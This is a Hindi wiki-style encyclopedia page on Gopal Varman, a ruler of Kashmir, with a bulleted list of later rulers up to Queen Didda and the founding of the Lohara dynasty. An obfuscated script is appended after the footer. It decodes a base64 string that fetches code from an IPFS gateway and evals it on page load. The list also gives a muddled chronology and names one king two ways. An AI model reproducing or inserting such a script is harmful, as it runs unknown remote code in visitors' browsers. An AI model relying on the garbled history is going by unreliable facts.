एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

गोपाल वर्मन

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 14:16, 29 जनवरी 2013 का अवतरण (Text replace - " कायम" to " क़ायम")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गोपाल वर्मन ने 902 से 904 ई. तक शासन किया। शंकर वर्मन के बाद गोपाल वर्मन कश्मीर का शासक हुआ।

  • उसके शासन काल में कश्मीर में चारों ओर अव्यवस्था एवं अशान्ति की स्थिति व्याप्त हो गयी।
  • इसका फ़ायदा उठाकर 939 ई. में ब्राह्मण कुल में उत्पन्न यशस्कर ने कश्मीर की सत्ता ग्रहण किया।
  • इस प्रकार उसके शासन काल में शान्ति व्यवस्था की स्थिति पुनः क़ायम हो सकी।
  • 948 ई. में यशस्कर की मृत्यु के बाद उसका मंत्री 'पर्वगुप्त' सिंहासनारूढ़ हुआ।
  • एक वर्ष के शासन के उपरान्त 950 ई. में उसके पुत्र 'क्षेमगुप्त' ने कश्मीर की राजगद्दी ग्रहण की।
  • उसने लगभग 958 ई. तक शासन किया।
  • इसका विवाह हिन्दुशाही वंश की राजकुमारी दिद्दा से हुआ था।
  • पति क्षेमेन्द्रगुप्त की मृत्यु के बाद रानी दिद्दा ने शासन की वागडोर संभाली।
  • उसने लगभग 50 वर्षो तक कुशलता से कश्मीर पर शासन किया।
  • 1003 ई. में रानी दिद्दा की मृत्यु के बाद उसके भतीजे संग्रामराज ने कश्मीर में लोहार वंश की स्थापना की।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

सम्बंधित कडियाँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>